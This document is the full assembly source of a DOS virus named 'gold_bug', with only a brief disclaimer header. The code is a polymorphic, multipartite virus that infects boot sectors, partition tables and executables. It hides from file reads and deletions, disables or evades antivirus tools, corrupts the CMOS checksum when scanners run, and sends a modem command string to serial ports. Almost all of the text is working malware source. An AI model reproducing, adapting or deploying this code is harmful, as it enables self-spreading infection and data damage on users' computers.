home *** CD-ROM | disk | FTP | other *** search
- cseg segment para public 'code'
- gold_bug proc near
- assume cs:cseg
-
- ;-----------------------------------------------------------------------------
-
- ;designed by "Q" the misanthrope.
-
- ;-----------------------------------------------------------------------------
-
- ; CAUTION: THIS IS DESTRUCTIVE CODE. YOU SHOULD NOT EVEN BE LOOKING AT IT.
- ; I HAVE NEVER AND WILL NEVER RELEASE THIS CODE. IF YOU SHOULD BE
- ; LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME. YOU HAVE NO
- ; RIGHT TO LOOK AT THIS CODE. IF THIS SOURCE SHOULD FALL INTO THE
- ; WRONG HANDS, IT COULD BE VERY BAD! DESTROY THIS IMMEDIATELY. I
- ; HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE.
- ; THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!!
-
- ;-----------------------------------------------------------------------------
-
- .186
- TRUE equ 001h
- FALSE equ 000h
-
- ;-----------------------------------------------------------------------------
-
- ;option bytes used and where
-
- DELETE_SCANNERS equ FALSE ; -2 bytes -2 in com_code
- CHECK_FOR_8088 equ TRUE ; 4 bytes 4 in com_code
- INFECT_RANDOM equ TRUE ; 4 bytes 4 in com_code
- CMOS_BOMB equ TRUE ; 4 bytes 4 in com_code
- DEFLECT_DELETE equ TRUE ; 5 bytes 5 in com_code
- READING_STEALTH equ TRUE ; 5 bytes 5 in com_code
- SAME_FILE_DATE equ TRUE ; 24 bytes 24 in com_code
- DOUBLE_DECRIPT equ TRUE ; 26 bytes 26 in com_code
- EXECUTE_SPAWNED equ TRUE ; 35 bytes 32 in com_code 3 in boot_code
- MODEM_CODE equ TRUE ; 40 bytes 29 in com_code 11 in boot_code
- ANTI_ANTIVIRUS equ TRUE ; 46 bytes 35 in com_code 11 in boot_code
- POLYMORPHIC equ TRUE ; 90 bytes 74 in com_code 16 in boot_code
- MULTIPARTITE equ TRUE ;372 bytes 346 in com_code 26 in boot_code
-
- ;-----------------------------------------------------------------------------
-
- ;floppy boot infection
-
- FLOPPY_1_2M equ 001h
- FLOPPY_760K equ 000h
- FLOPPY_TYPE equ FLOPPY_1_2M
-
- ;-----------------------------------------------------------------------------
-
- IFE MULTIPARTITE
- DELETE_SCANNERS equ FALSE
- CHECK_FOR_8088 equ FALSE
- INFECT_RANDOM equ FALSE
- DEFLECT_DELETE equ FALSE
- READING_STEALTH equ FALSE
- SAME_FILE_DATE equ FALSE
- EXECUTE_SPAWNED equ FALSE
- POLYMORPHIC equ FALSE
- ENDIF
-
- ;-----------------------------------------------------------------------------
-
- SECTOR_SIZE equ 00200h
- RES_OFFSET equ 0fb00h
- COM_OFFSET equ 00100h
- RELATIVE_OFFSET equ RES_OFFSET-COM_OFFSET
- PART_OFFSET equ COM_OFFSET+SECTOR_SIZE
- BOOT_OFFSET equ 07c00h
- RELATIVE_BOOT equ BOOT_OFFSET-PART_OFFSET
- LOW_JMP_10 equ 0031ch
- LOW_JMP_21 equ 00321h
- SAVE_INT_CHAIN equ 0032ch
- SCRATCH_AREA equ 08000h
- HEADER_SEGMENT equ 00034h
- INT_21_IS_NOW equ 0cch
- BIOS_INT_13 equ 0c6h
- NEW_INT_13_LOOP equ 0cdh
- BOOT_SECTOR equ 001h
- DESCRIPTOR_OFF equ 015h
- IF FLOPPY_TYPE EQ FLOPPY_1_2M
- DESCRIPTOR equ 0f909h
- OLD_BOOT_SECTOR equ 00eh
- COM_CODE_SECTOR equ 00dh
- ELSE
- DESCRIPTOR equ 0f905h
- OLD_BOOT_SECTOR equ 005h
- COM_CODE_SECTOR equ 004h
- ENDIF
- READ_ONLY equ 001h
- SYSTEM equ 004h
- DELTA_RI equ 004h
- DSR equ 020h
- CTS equ 010h
- CD equ 080h
- FAR_JUMP equ 0eah
- MIN_FILE_SIZE equ 00500h
- PSP_SIZE equ 00100h
- VIRGIN_INT_13_A equ 00806h
- VIRGIN_INT_13_B equ 007b4h
- VIRGIN_INT_2F equ 00706h
- FAR_JUMP_OFFSET equ 006h
- SET_INT_OFFSET equ 007h
- CHANGE_SEG_OFF equ 009h
- VIDEO_MODE equ 00449h
- MONOCHROME equ 007h
- COLOR_VIDEO_MEM equ 0b000h
- ADDR_MUL equ 004h
- SINGLE_BYTE_INT equ 003h
- VIDEO_INT equ 010h
- VIDEO_INT_ADDR equ VIDEO_INT*ADDR_MUL
- DISK_INT equ 013h
- DISK_INT_ADDR equ DISK_INT*ADDR_MUL
- SERIAL_INT equ 014h
- DOS_INT equ 021h
- DOS_INT_ADDR equ DOS_INT*ADDR_MUL
- MULTIPLEX_INT equ 02fh
- COMMAND_LINE equ 080h
- FIRST_FCB equ 05ch
- SECOND_FCB equ 06ch
- NULL equ 00000h
- GET_PORT_STATUS equ 00300h
- WRITE_TO_PORT equ 00100h
- HD_0_HEAD_0 equ 00080h
- READ_A_SECTOR equ 00201h
- WRITE_A_SECTOR equ 00301h
- GET equ 000h
- SET equ 001h
- DELETE_W_FCB equ 01300h
- DEFAULT_DRIVE equ 000h
- GET_DEFAULT_DR equ 01900h
- DOS_SET_INT equ 02500h
- FILE_DATE_TIME equ 05700h
- DENYNONE equ 040h
- OPEN_W_HANDLE equ 03d00h
- READ_W_HANDLE equ 03f00h
- WRITE_W_HANDLE equ 04000h
- CLOSE_HANDLE equ 03e00h
- UNLINK equ 04100h
- FILE_ATTRIBUTES equ 04300h
- RESIZE_MEMORY equ 04a00h
- QUERY_FREE_HMA equ 04a01h
- ALLOCATE_HMA equ 04a02h
- EXEC_PROGRAM equ 04b00h
- GET_ERROR_LEVEL equ 04d00h
- TERMINATE_W_ERR equ 04c00h
- RENAME_A_FILE equ 05600h
- LSEEK_TO_END equ 04202h
- CREATE_NEW_FILE equ 05b00h
- RESIDENT_LENGTH equ 068h
- PARAMETER_TABLE equ 005f1h
- MAX_PATH_LENGTH equ 00080h
- EXE_HEADER_SIZE equ 020h
- NEW_EXE_HEADER equ 00040h
- NEW_EXE_OFFSET equ 018h
- PKLITE_SIGN equ 'KP'
- PKLITE_OFFSET equ 01eh
- NO_OF_COM_PORTS equ 004h
- WINDOWS_BEGIN equ 01605h
- WINDOWS_END equ 01606h
- ERROR_IN_EXE equ 0000bh
- IF POLYMORPHIC
- FILE_SIGNATURE equ 07081h
- XOR_SWAP_OFFSET equ byte ptr ((offset serial_number)-(offset com_code))+TWO_BYTES
- FILE_LEN_OFFSET equ byte ptr ((offset serial_number)-(offset com_code))+THREE_BYTES
- FIRST_UNDO_OFF equ byte ptr ((offset first_jmp)-(offset com_code)+ONE_BYTE)
- SECOND_UNDO_OFF equ byte ptr ((offset second_jmp)-(offset com_code))
- BL_BX_OFFSET equ byte ptr ((offset incbl_incbx)-(offset com_code))
- ROTATED_OFFSET equ byte ptr ((offset rotated_code)-(offset com_code))
- ELSE
- FILE_SIGNATURE equ 0070eh
- ENDIF
- IF MODEM_CODE
- STRING_LENGTH equ byte ptr ((offset partition_sig)-(offset string))
- ENDIF
- IF EXECUTE_SPAWNED
- EXEC_SUBTRACT equ byte ptr ((offset file_name)-(offset exec_table))
- ENDIF
- DH_OFFSET equ byte ptr ((offset dh_value)-(offset initialize_boot)+TWO_BYTES)
- ONE_NIBBLE equ 004h
- ONE_BYTE equ 001h
- TWO_BYTES equ 002h
- THREE_BYTES equ 003h
- FOUR_BYTES equ 004h
- FIVE_BYTES equ 005h
- FIVE_BITS equ 005h
- EIGHT_BYTES equ 008h
- USING_HARD_DISK equ 080h
- KEEP_CF_INTACT equ 002h
- CMOS_CRC_ERROR equ 02eh
- CMOS_PORT equ 070h
- REMOVE_NOP equ 001h
- CR equ 00dh
- LF equ 00ah
- INT3_INCBX equ 043cch
- INC_BL equ 0c3feh
- INCBX_INCBL_XOR equ INT3_INCBX XOR INC_BL
- JMP_NO_SIGN equ 079h
- JMP_NOT_ZERO equ 075h
- JNS_JNZ_XOR equ JMP_NO_SIGN XOR JMP_NOT_ZERO
- CLI_PUSHCS equ 00efah
-
- ;-----------------------------------------------------------------------------
-
- video_seg segment at 0c000h
- org 00000h
- original_int_10 label word
- video_seg ends
-
- ;-----------------------------------------------------------------------------
-
- io_seg segment at 00070h
- org 00893h
- original_2f_jmp label word
- io_seg ends
-
- ;-----------------------------------------------------------------------------
-
- org COM_OFFSET
- com_code:
-
- ;-----------------------------------------------------------------------------
-
- IF POLYMORPHIC
- first_decode proc near
- serial_number: xor word ptr ds:[si+bx+FIRST_UNDO_OFF],MIN_FILE_SIZE
- org $-REMOVE_NOP
- org $-FIVE_BYTES
- jmp load_it
- org $+TWO_BYTES
- rotated_code: int SINGLE_BYTE_INT
- into
- adc al,0d4h
- incbl_incbx: inc bl
- first_jmp: jnz serial_number
- add bx,si
- jns serial_number
- first_decode endp
-
- ;-----------------------------------------------------------------------------
-
- IF DOUBLE_DECRIPT
- second_decode proc near
- push si
- get_next_byte: lodsw
- add bx,ax
- inc bx
- xor byte ptr ds:[si+SECOND_UNDO_OFF],bl
- org $-REMOVE_NOP
- dec si
- second_jmp: jns get_next_byte
- pop si
- second_decode endp
- ENDIF
- ENDIF
-
- ;-----------------------------------------------------------------------------
-
- com_start proc near
- IF MULTIPARTITE
- push cs
- pop es
- call full_move_w_si
- mov ds,cx
- cmp cx,word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL]
- jne dont_set_int
- mov di,VIRGIN_INT_13_B
- call set_both_ints
- push cs
- pop es
- ENDIF
- dont_set_int: IF CHECK_FOR_8088
- mov cl,RESIDENT_LENGTH
- mov al,high(RESIZE_MEMORY)
- shl ax,cl
- mov bx,cx
- int DOS_INT
- ELSEIF MULTIPARTITE
- mov bx,RESIDENT_LENGTH
- mov ah,high(RESIZE_MEMORY)
- int DOS_INT
- ENDIF
- IF EXECUTE_SPAWNED
- pusha
- call from_com_code+RELATIVE_OFFSET
- popa
- push cs
- pop ds
- push cs
- pop es
- cmpsw
- mov dx,si
- sub si,EXEC_SUBTRACT
- org $-REMOVE_NOP
- mov bx,PARAMETER_TABLE
- mov di,bx
- mov ax,EXEC_PROGRAM
- set_table: scasw
- movsb
- scasb
- mov word ptr ds:[di],ds
- je set_table
- int DOS_INT
- mov ah,high(GET_ERROR_LEVEL)
- int DOS_INT
- mov ah,high(TERMINATE_W_ERR)
- ELSEIF MULTIPARTITE
- call from_com_code+RELATIVE_OFFSET
- mov ax,TERMINATE_W_ERR
- ENDIF
- IF MULTIPARTITE
- int DOS_INT
- ELSE
- jmp boot_load
- ENDIF
- com_start endp
-
- ;-----------------------------------------------------------------------------
-
- interrupt_21 proc far
- pushf
- pusha
- push ds
- push es
- mov di,dx
- push ds
- pop es
- cld
- mov cx,MAX_PATH_LENGTH
- IF MULTIPARTITE
- mov si,offset file_name+RELATIVE_OFFSET
- ENDIF
- IF READING_STEALTH OR DEFLECT_DELETE
- mov bx,ax
- ENDIF
- cmp ax,EXEC_PROGRAM
- IF READING_STEALTH
- je start_process
- cmp ah,high(OPEN_W_HANDLE)
- ENDIF
- IF DEFLECT_DELETE
- je start_process
- cmp ah,high(UNLINK)
- ENDIF
- jne a_return
- start_process: xor ax,ax
- copy_name: IF MULTIPARTITE
- mov bl,byte ptr ds:[di]
- mov byte ptr cs:[si],bl
- inc si
- ENDIF
- scasb
- loopne copy_name
- std
- scasw
- IF MULTIPARTITE
- mov byte ptr cs:[si-FIVE_BYTES],al
- ENDIF
- mov al,'E'
- scasw
- jne a_return
- mov ah,'X'
- scasw
- jne a_return
- IF MULTIPARTITE
- push ds
- ENDIF
- pusha
- call open_close_file
- IF SAME_FILE_DATE
- mov word ptr cs:[new_time+ONE_BYTE+RELATIVE_OFFSET],cx
- mov word ptr cs:[new_date+ONE_BYTE+RELATIVE_OFFSET],dx
- ENDIF
- or si,si
- IF MULTIPARTITE
- jnz large_exe_file
- cmp word ptr ds:[si],FILE_SIGNATURE
- je our_kind
- IF INFECT_RANDOM
- xor di,bp
- jpo our_kind
- ENDIF
- cmp word ptr ds:[si+NEW_EXE_OFFSET],NEW_EXE_HEADER
- jb test_if_open
- cmp word ptr ds:[si+PKLITE_OFFSET],PKLITE_SIGN
- je test_if_open
- ELSE
- jz our_kind
- ENDIF
- large_exe_file: popa
- IF MULTIPARTITE
- pop ds
- ENDIF
- IF ANTI_ANTIVIRUS
- mov al,'N'
- scasb
- ja a_return
- mov al,'A'
- scasb
- jne a_return
- pop es
- pop ds
- popa
- IF READING_STEALTH OR DEFLECT_DELETE
- cmp ah,high(EXEC_PROGRAM)
- jne opened_file
- ENDIF
- popf
- IF CMOS_BOMB
- mov al,CMOS_CRC_ERROR
- out CMOS_PORT,ax
- ENDIF
- IF DELETE_SCANNERS
- mov ah,high(UNLINK)
- jmp short old_int_10_21
- ELSE
- mov al,ERROR_IN_EXE
- stc
- retf KEEP_CF_INTACT
- ENDIF
- ELSE
- jmp short a_return
- ENDIF
- our_kind: popa
- IF MULTIPARTITE
- pop ds
- error_in_copy: inc di
- xchg byte ptr ds:[di],ch
- mov ax,OPEN_W_HANDLE+DENYNONE
- int INT_21_IS_NOW
- mov bx,ax
- jnc close_it
- mov byte ptr ds:[di],ch
- jmp_a_return: jmp short a_return
- close_it: call force_close
- ENDIF
- a_return: pop es
- pop ds
- popa
- opened_file: popf
- old_int_10_21: jmp far ptr original_int_10
- IF MULTIPARTITE
- test_if_open: popa
- pop ds
- IF READING_STEALTH OR DEFLECT_DELETE
- cmp bh,high(EXEC_PROGRAM)
- jne error_in_copy
- ENDIF
- drive_letter: sub al,USING_HARD_DISK
- jns error_in_copy
- mov ax,GET+FILE_ATTRIBUTES
- int INT_21_IS_NOW
- mov ah,high(RENAME_A_FILE)
- pusha
- mov di,offset file_name+RELATIVE_OFFSET
- push cs
- pop es
- int INT_21_IS_NOW
- set_attribs: popa
- int INT_21_IS_NOW
- mov ah,high(CREATE_NEW_FILE)
- int INT_21_IS_NOW
- jc error_in_copy
- mov bx,ax
- mov ax,SET+FILE_ATTRIBUTES
- pusha
- push ds
- push cs
- pop ds
- or cl,SYSTEM
- mov dx,offset file_name+RELATIVE_OFFSET
- int INT_21_IS_NOW
- IF ANTI_ANTIVIRUS
- mov dx,offset fcb_name+RELATIVE_OFFSET
- mov ah,high(DELETE_W_FCB)
- int INT_21_IS_NOW
- ENDIF
- xor di,di
- mov ax,SCRATCH_AREA
- mov es,ax
- mov ds,ax
- call full_move
- call move_some_more
- IF POLYMORPHIC
- xor si,si
- mov cx,word ptr ds:[si+FILE_LEN_OFFSET]
- org $-REMOVE_NOP
- IF DOUBLE_DECRIPT
- pusha
- set_second: add al,byte ptr cs:[si+RES_OFFSET]
- inc ax
- xor byte ptr ds:[si+SECOND_UNDO_OFF+TWO_BYTES],al
- org $-REMOVE_NOP
- inc si
- loop set_second
- popa
- ENDIF
- mov ax,cx
- pusha
- xor bx,bx
- mov bl,byte ptr ds:[si+XOR_SWAP_OFFSET]
- org $-REMOVE_NOP
- set_first: xor word ptr ds:[bx],ax
- inc bx
- loop set_first
- popa
- ELSE
- file_length: mov cx,NULL
- ENDIF
- mov ah,high(WRITE_W_HANDLE)
- cwd
- int INT_21_IS_NOW
- IF SAME_FILE_DATE
- mov ax,SET+FILE_DATE_TIME
- new_time: mov cx,NULL
- new_date: mov dx,NULL
- call do_int21_close
- ELSE
- call force_close
- ENDIF
- pop ds
- jmp short set_attribs
- ENDIF
- interrupt_21 endp
-
- ;-----------------------------------------------------------------------------
-
- open_close_file proc near
- mov ax,OPEN_W_HANDLE+DENYNONE
- xor cx,cx
- int INT_21_IS_NOW
- jc more_returns
- mov bx,ax
- IF MULTIPARTITE
- mov dx,HEADER_SEGMENT
- mov ds,dx
- ENDIF
- IF MODEM_CODE
- IF MULTIPARTITE
- mov dl,NO_OF_COM_PORTS
- ELSE
- mov dx,NO_OF_COM_PORTS
- ENDIF
- scan_coms: dec dx
- js no_more_coms
- mov ax,GET_PORT_STATUS
- int SERIAL_INT
- xor al,DELTA_RI+CTS+DSR
- and al,DELTA_RI+CTS+DSR+CD
- jnz scan_coms
- mov si,offset string+STRING_LENGTH-ONE_BYTE+RELATIVE_OFFSET
- mov cl,STRING_LENGTH
- output_data: lods byte ptr cs:[si]
- mov ah,high(WRITE_TO_PORT)
- int SERIAL_INT
- loop output_data
- ENDIF
- no_more_coms: IF MULTIPARTITE
- mov cl,EXE_HEADER_SIZE
- mov ah,high(READ_W_HANDLE)
- cwd
- int INT_21_IS_NOW
- xor cx,cx
- ELSE
- xor dx,dx
- ENDIF
- mov ax,LSEEK_TO_END
- int INT_21_IS_NOW
- IF MULTIPARTITE
- IF POLYMORPHIC
- mov word ptr cs:[FILE_LEN_OFFSET+RES_OFFSET],ax
- ELSE
- mov word ptr cs:[file_length+ONE_BYTE+RELATIVE_OFFSET],ax
- ENDIF
- ENDIF
- inc ah
- cmp ax,MIN_FILE_SIZE+PSP_SIZE
- adc dx,cx
- mov si,dx
- IF SAME_FILE_DATE
- mov ax,GET+FILE_DATE_TIME
- do_int21_close: int INT_21_IS_NOW
- ENDIF
- force_close: mov ah,high(CLOSE_HANDLE)
- int INT_21_IS_NOW
- more_returns: ret
- open_close_file endp
-
- ;-----------------------------------------------------------------------------
-
- full_move_w_si proc near
- IF POLYMORPHIC
- swap_incbx_bl: xor word ptr ds:[si+BL_BX_OFFSET],INCBX_INCBL_XOR
- org $-REMOVE_NOP
- xor byte ptr ds:[si+BL_BX_OFFSET+TWO_BYTES],JNS_JNZ_XOR
- org $-REMOVE_NOP
- ENDIF
- stc
- full_move_w_di: mov di,RES_OFFSET
- full_move: call move_code
- move_code: jc move_some_more
- mov si,RES_OFFSET
- IF POLYMORPHIC
- IF CHECK_FOR_8088
- mov cl,ONE_NIBBLE
- ror word ptr cs:[si+ROTATED_OFFSET],cl
- org $-REMOVE_NOP
- ELSE
- ror word ptr cs:[si+ROTATED_OFFSET],ONE_NIBBLE
- org $-REMOVE_NOP
- ENDIF
- ENDIF
- move_some_more: mov cx,SECTOR_SIZE
- pushf
- cld
- rep movs byte ptr es:[di],cs:[si]
- popf
- stc
- ret
- full_move_w_si endp
-
- ;-----------------------------------------------------------------------------
-
- IF ANTI_ANTIVIRUS
- org PART_OFFSET-ONE_BYTE
- fcb_name db DEFAULT_DRIVE
- ENDIF
-
- ;-----------------------------------------------------------------------------
-
- org PART_OFFSET
- boot_code:
-
- ;-----------------------------------------------------------------------------
-
- initialize_boot proc near
- IF ANTI_ANTIVIRUS
- db 'CHKLIST????'
- cli
- push cs
- mov si,BOOT_OFFSET-SECTOR_SIZE
- pop ss
- mov sp,si
- sti
- push cs
- org PART_OFFSET+DESCRIPTOR_OFF
- db high(DESCRIPTOR)
- pop ds
- mov cx,COM_CODE_SECTOR
- pushf
- push cs
- push BOOT_OFFSET
- mov ax,READ_A_SECTOR
- ELSE
- cli
- push cs
- mov si,BOOT_OFFSET-SECTOR_SIZE
- pop ss
- mov sp,si
- sti
- pushf
- push cs
- push BOOT_OFFSET
- push cs
- mov cx,COM_CODE_SECTOR
- mov ax,READ_A_SECTOR
- org PART_OFFSET+DESCRIPTOR_OFF
- db high(DESCRIPTOR)
- pop ds
- ENDIF
- push cs
- pop es
- dh_value: mov dx,NULL
- mov bx,dx
- xor dh,al
- shr dx,1
- mov dh,bh
- push dx
- mov bx,si
- push ax
- int DISK_INT
- pop ax
- mov di,VIDEO_INT_ADDR
- mov bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_BOOT+ONE_BYTE
- call get_n_set_int+ONE_BYTE
- mov bx,offset low_code-TWO_BYTES+RELATIVE_OFFSET
- cmp dx,LOW_JMP_10
- je try_this_out
- cmp byte ptr ds:[VIDEO_MODE],MONOCHROME
- jae try_this_out
- mov di,DISK_INT_ADDR
- IF MULTIPARTITE
- call set_both_ints
- ELSE
- mov bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET
- call get_n_set_int+ONE_BYTE
- mov bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET
- call set_interrupt
- ENDIF
- mov ch,high(COLOR_VIDEO_MEM)
- mov bx,offset high_code+RELATIVE_OFFSET
- try_this_out: push cx
- push bx
- mov es,cx
- call full_move_w_si
- retf
- initialize_boot endp
-
- ;-----------------------------------------------------------------------------
-
- high_code proc near
- mov dx,offset int_10_start+RELATIVE_OFFSET
- mov bx,LOW_JMP_10-FAR_JUMP_OFFSET
- call set_int_10_21
- mov bx,VIDEO_INT_ADDR-SET_INT_OFFSET
- low_code: mov es,cx
- mov cl,OLD_BOOT_SECTOR
- mov dx,LOW_JMP_10
- call set_interrupt
- mov bx,BOOT_OFFSET
- pop dx
- int DISK_INT
- xor dh,dh
- mov cl,BOOT_SECTOR
- mov ax,WRITE_A_SECTOR
- high_code endp
-
- ;-----------------------------------------------------------------------------
-
- interrupt_13 proc far
- int_13_start: IF MULTIPARTITE
- mov byte ptr cs:[drive_letter+ONE_BYTE+RELATIVE_OFFSET],dl
- ENDIF
- cmp cx,BOOT_SECTOR
- jne no_boot_sector
- cmp ah,high(READ_A_SECTOR)
- jne no_boot_sector
- cmp dx,HD_0_HEAD_0
- jbe reread_boot
- no_boot_sector: int NEW_INT_13_LOOP
- jmp short return_far
- reread_boot: int NEW_INT_13_LOOP
- jc return_far
- pusha
- push ds
- push es
- pop ds
- check_old_boot: mov ax,READ_A_SECTOR
- xor dh,dh
- mov cl,OLD_BOOT_SECTOR
- IF ANTI_ANTIVIRUS
- cmp word ptr ds:[bx],'HC'
- ELSE
- cmp word ptr ds:[bx],CLI_PUSHCS
- ENDIF
- je read_old_boot
- test dl,USING_HARD_DISK
- jnz encode_hd
- cmp word ptr ds:[bx+DESCRIPTOR_OFF-ONE_BYTE],DESCRIPTOR
- jne time_to_leave
- mov dh,al
- pusha
- int NEW_INT_13_LOOP
- cmp byte ptr ds:[bx],ch
- popa
- pushf
- pusha
- xor dh,dh
- mov cl,al
- int NEW_INT_13_LOOP
- popa
- popf
- jne time_to_leave
- encode_hd: mov ah,high(WRITE_A_SECTOR)
- push ax
- int NEW_INT_13_LOOP
- pop ax
- jc time_to_leave
- mov di,bx
- call move_code
- mov cl,COM_CODE_SECTOR
- IF POLYMORPHIC
- xor byte ptr ds:[bx+XOR_SWAP_OFFSET],dh
- org $-REMOVE_NOP
- jo dont_flip_it
- xchg word ptr ds:[bx+ROTATED_OFFSET],ax
- org $-REMOVE_NOP
- xchg ah,al
- xchg word ptr ds:[bx+ROTATED_OFFSET+TWO_BYTES],ax
- org $-REMOVE_NOP
- xchg word ptr ds:[bx+ROTATED_OFFSET],ax
- org $-REMOVE_NOP
- ENDIF
- dont_flip_it: pusha
- int NEW_INT_13_LOOP
- popa
- mov di,bx
- call move_some_more
- mov byte ptr ds:[bx+DH_OFFSET],dh
- org $-REMOVE_NOP
- mov dh,cl
- inc cx
- int NEW_INT_13_LOOP
- jmp short check_old_boot
- read_old_boot: mov dh,byte ptr ds:[bx+DH_OFFSET]
- org $-REMOVE_NOP
- int NEW_INT_13_LOOP
- time_to_leave: pop ds
- popa
- clc
- return_far: retf KEEP_CF_INTACT
- interrupt_13 endp
-
- ;-----------------------------------------------------------------------------
-
- interrupt_2f proc far
- pusha
- push ds
- push es
- push offset return_to_2f+RELATIVE_OFFSET
- xor cx,cx
- mov ds,cx
- mov bx,SAVE_INT_CHAIN-SET_INT_OFFSET
- cmp ax,WINDOWS_END
- jne try_another
- les dx,dword ptr ds:[bx+SET_INT_OFFSET]
- jmp short set_13_chain
- try_another: cmp ax,WINDOWS_BEGIN
- jne another_return
- mov di,VIRGIN_INT_13_B
- call get_n_set_int+ONE_BYTE
- les dx,dword ptr ds:[BIOS_INT_13*ADDR_MUL]
- set_13_chain: mov ax,READ_A_SECTOR
- call get_set_part
- mov bx,VIRGIN_INT_13_B-SET_INT_OFFSET
- call set_interrupt
- mov bl,low(VIRGIN_INT_13_A-SET_INT_OFFSET)
- call set_interrupt
- mov ah,high(WRITE_A_SECTOR)
- interrupt_2f endp
-
- ;-----------------------------------------------------------------------------
-
- get_set_part proc near
- pusha
- push es
- mov bx,SCRATCH_AREA
- mov es,bx
- mov dx,HD_0_HEAD_0
- inc cx
- int NEW_INT_13_LOOP
- mov ax,READ_A_SECTOR
- int DISK_INT
- pop es
- popa
- another_return: ret
- get_set_part endp
-
- ;-----------------------------------------------------------------------------
-
- return_to_2f proc near
- pop es
- pop ds
- popa
- jmp far ptr original_2f_jmp
- return_to_2f endp
-
- ;-----------------------------------------------------------------------------
-
- interrupt_10 proc far
- int_10_start: pushf
- pusha
- push ds
- push es
- push offset a_return+RELATIVE_OFFSET
- from_com_code: xor bx,bx
- mov ds,bx
- or ah,ah
- jz set_10_back
- mov ax,QUERY_FREE_HMA
- int MULTIPLEX_INT
- cmp bh,high(MIN_FILE_SIZE+SECTOR_SIZE)
- jb another_return
- mov ax,ALLOCATE_HMA
- int MULTIPLEX_INT
- clc
- call full_move_w_di
- mov dx,offset int_13_start+RELATIVE_OFFSET
- call set_13_chain
- mov bx,VIRGIN_INT_2F-SET_INT_OFFSET
- mov dx,offset interrupt_2f+RELATIVE_OFFSET
- call set_interrupt
- cmp word ptr ds:[LOW_JMP_10],cx
- je set_10_back
- push es
- push es
- mov di,DOS_INT_ADDR
- mov bx,INT_21_IS_NOW*ADDR_MUL-SET_INT_OFFSET
- call get_n_set_int+ONE_BYTE
- pop ds
- mov bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_OFFSET+ONE_BYTE
- call set_interrupt
- mov ds,cx
- mov ax,DOS_SET_INT+DOS_INT
- mov dx,LOW_JMP_21
- int INT_21_IS_NOW
- pop es
- mov bx,dx
- mov dx,offset interrupt_21+RELATIVE_OFFSET
- mov word ptr ds:[bx],0b450h
- mov word ptr ds:[bx+TWO_BYTES],0cd19h
- mov word ptr ds:[bx+FOUR_BYTES],05800h+INT_21_IS_NOW
- call set_int_10_21
- set_10_back: mov di,offset old_int_10_21+RELATIVE_OFFSET+ONE_BYTE
- mov bx,LOW_JMP_10-FAR_JUMP_OFFSET
- interrupt_10 endp
-
- ;-----------------------------------------------------------------------------
-
- get_n_set_int proc near
- les dx,dword ptr cs:[di]
- jmp short set_interrupt
- set_int_10_21: mov byte ptr ds:[bx+FAR_JUMP_OFFSET],FAR_JUMP
- set_interrupt: mov word ptr ds:[bx+SET_INT_OFFSET],dx
- mov word ptr ds:[bx+CHANGE_SEG_OFF],es
- ret
- get_n_set_int endp
-
- ;-----------------------------------------------------------------------------
-
- IF MULTIPARTITE
- set_both_ints proc near
- mov bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET
- call get_n_set_int+ONE_BYTE
- mov bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET
- jmp short set_interrupt
- set_both_ints endp
- ENDIF
-
- ;-----------------------------------------------------------------------------
-
- IF EXECUTE_SPAWNED
- exec_table db COMMAND_LINE,FIRST_FCB,SECOND_FCB
- ENDIF
-
- ;-----------------------------------------------------------------------------
-
- IF MODEM_CODE
- org PART_OFFSET+001f3h
- string db CR,'1O7=0SLMTA'
- ENDIF
-
- ;-----------------------------------------------------------------------------
-
- org PART_OFFSET+SECTOR_SIZE-TWO_BYTES
- partition_sig dw 0aa55h
-
- ;-----------------------------------------------------------------------------
-
- org PART_OFFSET+SECTOR_SIZE+TWO_BYTES
- file_name db 'DA',027h,'BOYS.COM',NULL
-
- ;-----------------------------------------------------------------------------
-
- org PARAMETER_TABLE
- dw NULL,NULL,NULL,NULL,NULL,NULL,NULL
- db NULL
-
- ;-----------------------------------------------------------------------------
-
- IFE MULTIPARTITE
- boot_load proc near
- push cs
- pop es
- call full_move_w_si
- mov ds,cx
- cmp cx,word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL]
- jne dont_set_intcd
- lds dx,dword ptr ds:[VIRGIN_INT_13_B]
- mov ax,DOS_SET_INT+NEW_INT_13_LOOP
- int DOS_INT
- dont_set_intcd: mov ah,high(GET_DEFAULT_DR)
- int DOS_INT
- call from_com_code+RELATIVE_OFFSET
- mov ax,TERMINATE_W_ERR
- int DOS_INT
- boot_load endp
- ENDIF
-
- ;-----------------------------------------------------------------------------
-
- IF POLYMORPHIC
- load_it proc near
- mov word ptr ds:[si],FILE_SIGNATURE
- mov byte ptr ds:[si+TWO_BYTES],FIRST_UNDO_OFF
- push bx
- xor ax,ax
- cli
- out 043h,al
- in al,040h
- mov ah,al
- in al,040h
- sti
- push ax
- and ax,0001eh
- mov bx,ax
- mov ax,word ptr ds:[bx+two_byte_table]
- mov word ptr ds:[si+ROTATED_OFFSET+TWO_BYTES],ax
- org $-REMOVE_NOP
- pop ax
- and ax,003e0h
- mov cl,FIVE_BITS
- shr ax,cl
- mov bx,ax
- mov al,byte ptr ds:[bx+one_byte_table]
- xor al,low(INC_BL)
- mov byte ptr ds:[swap_incbx_bl+THREE_BYTES],al
- pop bx
- jmp com_start
- load_it endp
-
- ;-----------------------------------------------------------------------------
-
- two_byte_table: mov al,0b2h
- xor al,0b4h
- and al,0d4h
- les ax,dword ptr ds:[si]
- les cx,dword ptr ds:[si]
- les bp,dword ptr ds:[si]
- adc al,0d4h
- and al,084h
- adc al,084h
- adc al,024h
- add al,084h
- add al,014h
- add al,024h
- test dl,ah
- repz stc
- repnz stc
-
- ;-----------------------------------------------------------------------------
-
- one_byte_table: int SINGLE_BYTE_INT
- into
- daa
- das
- aaa
- aas
- inc ax
- inc cx
- inc dx
- inc bp
- inc di
- dec ax
- dec cx
- dec dx
- dec bp
- dec di
- nop
- xchg cx,ax
- xchg dx,ax
- xchg bp,ax
- xchg di,ax
- cbw
- cwd
- lahf
- scasb
- scasw
- xlat
- repnz
- repz
- cmc
- clc
- stc
- ENDIF
-
